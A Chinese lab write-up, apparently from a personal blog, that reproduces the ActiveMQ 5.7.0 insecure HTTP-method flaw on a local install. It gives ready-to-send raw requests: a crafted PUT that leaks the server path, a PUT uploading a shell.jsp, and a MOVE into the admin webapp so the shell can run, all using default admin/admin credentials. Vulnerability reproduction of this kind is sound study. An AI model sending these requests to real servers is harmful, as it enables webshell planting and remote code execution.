ActiveMQ漏洞复现(不安全的http方法具体利用)

1、搭建ActiveMQ环境

  • 环境准备
jre安装及环境变量的配置:
https://blog.csdn.net/tiantang_1986/article/details/53894947
  • 下载有漏洞版本的ActiveMQ(我用的5.7.0)
 http://activemq.apache.org/download-archives.html
  • 解压后进入bin目录,发现有win32和win64两个文件夹,这2个文件夹分别对应windows32位和windows64位操作系统的启动脚本。
    ActiveMQ漏洞复现(不安全的http方法具体利用)_第1张图片
    打开对应位数操作系统的启动文件
  • 启动成功后访问url:http://localhost:8161/admin
    ActiveMQ漏洞复现(不安全的http方法具体利用)_第2张图片
    环境搭建成功
    注:
如果访问链接时跳出登陆页面采用默认账户密码admin/admin登陆就可以了,我没有遇到登陆界面,也没去研究原因了。

2、漏洞复现

1、启用不安全的http方法
a. 产生原因

>1.ActiveMQ默认开启PUT MOVE等不安全的http方法
>2.ActiveMQ的file server允许客户通过PUT上传文件

b. 复现利用

1.刷新页面抓包,放入repeater里,构造poyload,测试是否存在漏洞
2.payload原理:PUT一个不存在的文件目录,file server会返回文件的绝对路径

PUT /fileserver/a../../%08/..%08/.%08/%08 HTTP/1.1
Host: ip:8161
Authorization: Basic YWRtaW46YWRtaW4=
Content-Length: 4

test

结果:
ActiveMQ漏洞复现(不安全的http方法具体利用)_第3张图片
返回包中泄露了文件路径

3.通过PUT方式向files ever中写入一个测试文件

PUT /fileserver/shell.jsp HTTP/1.1
Host: ip:8161
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Authorization: Basic YWRtaW46YWRtaW4=
Content-Length: 26

this is jsp webshell code.   //(文件内容)

结果:
ActiveMQ漏洞复现(不安全的http方法具体利用)_第4张图片

4.查看本地文件

ActiveMQ漏洞复现(不安全的http方法具体利用)_第5张图片

5.通过MOVE将文件移动到admin目录下

MOVE /fileserver/shell.jsp HTTP/1.1
Destination:file:文件绝对路径/webapps/admin/shell.jsp
Host: ip:8161
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Authorization: Basic YWRtaW46YWRtaW4=
Content-Length: 17

Content-Length: 0

ActiveMQ漏洞复现(不安全的http方法具体利用)_第6张图片

6.查看admin目录

ActiveMQ漏洞复现(不安全的http方法具体利用)_第7张图片

7.测试MOVE方法的原因:

>1.练习MOVE方法的使用
>2.上传shell时,file server中是没有执行权限的,需要移动到admin中才能执行shell

结束。。。。。

你可能感兴趣的:(笔记整理)